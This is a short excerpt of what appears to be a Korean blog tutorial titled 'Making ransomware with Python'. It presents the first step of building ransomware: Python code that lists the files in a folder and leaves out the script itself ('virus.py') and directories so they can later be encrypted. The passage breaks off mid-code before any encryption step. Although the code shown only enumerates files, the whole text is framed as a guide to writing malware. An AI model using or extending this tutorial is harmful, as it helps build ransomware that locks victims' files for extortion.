로딩
요청 처리 중입니다...

파이썬으로 랜섬웨어 만들기

 파이썬으로 랜섬웨어 만들기

바로 본론으로 들어가자. 일단 에디터를 켜고 새 프로젝트를 만든다.

랜섬웨어는 파일을 찾아서, 파일을 암호화 시키는 프로그램이다. 그러면 파일을 찾는 프로그램을 작성하자. import os #파일을 찾기 위하여 filelist=[] for file in os.listdir(): filelist.append(file) print(filelist) 이 코드를 실행하면 그 폴더의 모든 파일이 나온다.

여기에는 큰 문제가 있다. 1. 자기 자신을 포함한다; 자기 자신을 포함하면 추후에 스스로를 암호화 2.

폴더를 포함한다; 폴더는 암호화할 수 없다. 간단히 리스트에 추가하기 전에 if 문을 사용하여 조건에 맞는지 판별하면 된다. import os #파일을 찾기 위하여 filelist=[] for file in os.listdir(): if file !

= 'virus.py' and os.path.isfile(file): #넣기 전에 맞는지 판별 filelist.append(file) prin...